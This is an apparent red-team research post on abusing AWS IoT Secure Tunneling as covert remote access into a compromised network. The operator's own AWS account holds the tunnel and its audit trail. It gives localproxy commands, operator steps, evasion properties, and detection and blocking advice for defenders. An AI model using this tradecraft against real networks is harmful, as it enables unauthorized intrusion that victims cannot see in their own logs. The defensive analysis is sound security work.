Amazon's IoT Secure Tunneling creates bidirectional tunnels to field devices through AWS-managed infrastructure, driven by an open-source client called localproxy. Built for support engineers who need a shell on a sensor behind a customer's firewall, the service carries a property that transforms it into offensive infrastructure, and the property belongs to the service's account model rather than to the binary. This research demonstrates techniques for abusing Secure Tunneling to reach hosts inside a network you do not control, from a tunnel you open in your own account, so that no control-plane record of it ever reaches theirs.

The commands, the hard limits, the traps, and where the evidence lands.
The commands, the hard limits, the traps, and where the evidence lands. Tap or click to open full size.

The Architecture of Abuse

Destination mode runs on the compromised host and opens no listener; source mode runs on the operator's box and opens the only listener in the setup, on loopback.
Destination mode runs on the compromised host and opens no listener; source mode runs on the operator's box and opens the only listener in the setup, on loopback. Tap or click to open full size.

A tunnel has two ends and each gets its own access token, one-time by default. The proxy runs in one of two modes, and they are not symmetric.

Destination mode runs on the machine you have compromised and delivers incoming streams to a local service:

AWSIOT_TUNNEL_ACCESS_TOKEN=<destination_token> localproxy -r <region> -d <SERVICE>=<host>:<port> -c /etc/ssl/certs

Source mode runs on your box and opens a local port that represents that service:

AWSIOT_TUNNEL_ACCESS_TOKEN=<source_token> localproxy -r <region> -s <SERVICE>=<port> -b 127.0.0.1 -c /etc/ssl/certs

Neither end listens on a public interface. Both dial outbound to *.tunneling.iot.<region>.amazonaws.com on 443, and AWS joins them in the middle.

Prerequisites and Assumptions

Two things have to be true before any of this reaches a real engagement, and the technique supplies neither.

What you need first:

Two build-time requirements:

Tested:

The twelve-hour lifetime is AWS's published figure. The throughput number is not: a 32 MB transfer through the lab tunnel sat at 0.805 Mbps, close enough to the documented 800 kbps quota to plan around.

The Tunnel Is Yours, Not Theirs

The tunnel, both access tokens and the CloudTrail record live in the operator's AWS account. The target's account has no IoT control-plane record at all.
The tunnel, both access tokens and the CloudTrail record live in the operator's AWS account. The target's account has no IoT control-plane record at all. Tap or click to open full size.

Abusing an AWS service does not require touching the target's AWS account.

It is also the common shape rather than the exotic one. ATT&CK separates registering your own account on a web service (T1583.006) from compromising someone else's (T1584.006). The first lists 28 procedure examples, the second lists five.

The technique:

  1. Open the tunnel in your account with open-tunnel. You get a source token and a destination token.
  2. Deliver only the destination token to the compromised host, along with the proxy binary.
  3. Run source mode on your own infrastructure and connect to your own loopback.

The target organisation never authenticates to your account, never appears in your IAM, and never receives an API call they could log.

Example: a tunnel opened from an EC2 instance in ca-central-1 carrying SSH to a host in an entirely separate organisation writes its OpenTunnel record into the operator's CloudTrail. Rotating a token or closing the tunnel adds records there too. What none of them contain is the traffic, and no IoT control-plane record appears in the target's account. That claim has a boundary: if the compromised host is itself in a cloud account, their VPC flow logs, resolver query logs and threat-detection findings still see an egress flow to an AWS endpoint. What they do not get is the tunnel, who opened it, or what rode it.

Nothing about this requires the target to be an IoT device. The service takes a thingName and does not need one; a tunnel declared with only a service list is thingless and works identically.

Network Traffic Obfuscation

Four layers on the wire. A proxy reading SNI stops at the outermost; anything that terminates the TLS recovers the SSH stream in full.
Four layers on the wire. A proxy reading SNI stops at the outermost; anything that terminates the TLS recovers the SSH stream in full. Tap or click to open full size.

A capture of a Secure Tunneling session shows the following:

The last one is the least appreciated. Three concurrent services multiplex into a single WebSocket. Counting outbound flows to the AWS endpoint does not tell a defender how many sessions are riding them.

Operational Advantages

The beauty of this technique is that it inverts who holds the evidence. Your C2 does not need a domain, a certificate, a redirector, or a reputation. It needs an AWS account, and the audit trail for the whole operation sits in that account where the target cannot subscribe to it or alert on it. Not that it is beyond reach: legal process directed at AWS or at you produces those records like any others. What you have bought is that nobody sees them in real time, which is an operational advantage and not an evidentiary one.

You inherit some of AWS's reputation, though less than you might hope. The destination resolves into Amazon address space with a valid Amazon certificate, and there is no domain to burn, no category to be miscategorised into, no newly-registered-domain heuristic to trip. What you do not get is blending: the hostname is data.tunneling.iot.<region>.amazonaws.com, which is specific to this service rather than generic AWS traffic. Anyone inspecting SNI sees a high-fidelity name. It hides in the noise only where nobody is looking at the name.

And the target side is a single executable with no installer, no service registration, and no persistence unless you add it. It is not statically linked, so it wants OpenSSL, zlib, libstdc++ and glibc present, which is unremarkable on a normal host but matters on a minimal one. It runs as any user and writes nothing it does not need.

Detection Engineering Challenges

The control-plane record is detailed and lands in the operator's account, so the target's detection surface is the host and the network.
The control-plane record is detailed and lands in the operator's account, so the target's detection surface is the host and the network. Tap or click to open full size.

Start with what a defender does not have: the tunnel's control-plane record. OpenTunnel is written to the operator's CloudTrail, complete with the calling principal, the source IP, the service names and the operator's own description string. All of that is genuinely useful, and none of it is in the target's account. From their side, that evidence does not exist.

The data plane is worse for them. Tunnel traffic goes to a different endpoint than the control call and authenticates with a bearer token rather than an IAM principal, so CloudTrail does not record the tunneled payloads at all. Control-plane calls are written down; the bytes are not, and what is written lands in the wrong account for the defender.

That leaves the host and the network. The network is more tractable than the equivalent Azure Relay case, for the reason in the next section, but it depends on someone having thought about this endpoint in advance. Nobody blocks a hostname they have never heard of, and traffic to an Amazon domain on 443 is not what most egress policies are written to catch.

The host is where you actually catch this, and which host matters. The two ends leave different artifacts, and getting them backwards produces a rule that never fires.

On the compromised machine, destination mode opens no listener at all. It makes an outbound connection to the local service, so what you look for is an unexplained localproxy process, the official container image on a box with no business running it, an outbound 443 flow to the tunneling endpoint, and a new client connection to a local service port that nothing accounts for.

The loopback listener is on the operator's box, not the target's. It is a fine signal if you happen to be looking at the operator's box, which you are not.

Mitigation Complexity

This is where the technique is weaker than it looks.

Secure Tunneling has its own endpoint. The data plane goes to data.tunneling.iot.<region>.amazonaws.com, not to the general IoT Core endpoint, and not to a domain shared with Jobs, Greengrass or device messaging. Block it and MQTT keeps working, Jobs keeps working, Greengrass keeps deploying. There is no impossible choice here: an organisation that does not use remote device troubleshooting can block exactly this and lose exactly this.

That is a real difference from the Azure Relay case, where *.servicebus.windows.net is shared with Service Bus and Event Hubs and blocking it does break unrelated business function. The two techniques look similar and their mitigation stories are not the same. If you are building a threat model, do not copy one onto the other.

What still helps the operator is that most organisations have never enumerated this endpoint, and that FQDN allow-listing has to be maintained while the address behind the name moves. The realistic defensive posture is unglamorous: determine whether you use Secure Tunneling at all, and if you do not, block the hostname and alert on attempts.

Implications for Red Teams

Three concurrent services multiplex into one WebSocket, so counting outbound flows tells a defender nothing about session count.
Three concurrent services multiplex into one WebSocket, so counting outbound flows tells a defender nothing about session count. Tap or click to open full size.

This technique provides several tactical properties worth planning around:

It is also bounded, and the bounds matter. A tunnel has a twelve-hour maximum lifetime, and throughput sits near the documented 800 kbps per-tunnel quota in practice rather than merely on paper. This is an interactive-access technique. For a channel that outlives a shift, the same account gets you AWS IoT Core MQTT, which is the subject of the companion post.

Takeaways

AWS IoT Secure Tunneling lets you open a door into someone else's network using your own account, your own credentials, and your own audit trail. The organisation on the receiving end is not a party to the transaction. They did not authenticate anything and they cannot see the record. What they do own is what happened on their own wire and their own hosts: the DNS resolution, the TLS handshake with a service-specific name, the egress flow, and the process making it.

Organisations should determine whether they use AWS IoT Secure Tunneling specifically, rather than AWS IoT broadly, because Secure Tunneling has its own endpoint and unrelated IoT Core, Jobs or Greengrass traffic does not normalise it. Where tunneling is genuinely in use the indicator drops from high-signal to low-signal rather than to invisible, so detection should focus on what runs on the endpoint and not only on where it connects. The assumption that abusing a cloud service leaves a trail in the victim's cloud account does not survive contact with this one.

This technique was developed during authorized security research in a dedicated lab account. It should only be used during sanctioned engagements with explicit written authorization. Know your local laws and obtain permission before testing.

As of August 2026, no public reporting attributes abuse of AWS IoT Secure Tunneling for C2 or lateral movement to a named threat actor. That search covered MITRE ATT&CK directly (T1071.005, T1572, T1651, T1102 and its sub-techniques, and the ICS command-and-control tactic), hackingthe.cloud, Stratus Red Team's AWS catalogue, Rhino Security Labs, Datadog Security Labs, Wiz, Permiso, Sysdig, Unit 42, Mandiant and Google Cloud Threat Horizons, AWS security bulletins, and a commercial threat intelligence corpus in which localproxy returns nothing while MQTT returns eighteen reports. The only public treatment is red-team research. Absence of reporting is not absence of use, and a claim like this one has a shelf life.

The nearest measured analogue puts a number on that shelf life. Praetorian presented Ghost Calls, a technique for running C2 through the TURN relays behind web conferencing, in August 2025. In December 2025 a DragonForce affiliate was on a US services firm's network running a Go backdoor over Microsoft Teams TURN relays. Symantec, disclosing it in June 2026, described the mechanism as inspired by that research by name and called it the first time TURN relay infrastructure had been abused this way in the wild. Four months from conference talk to ransomware operation. A defender reading this post is better served treating the technique as near-term than as theoretical.

References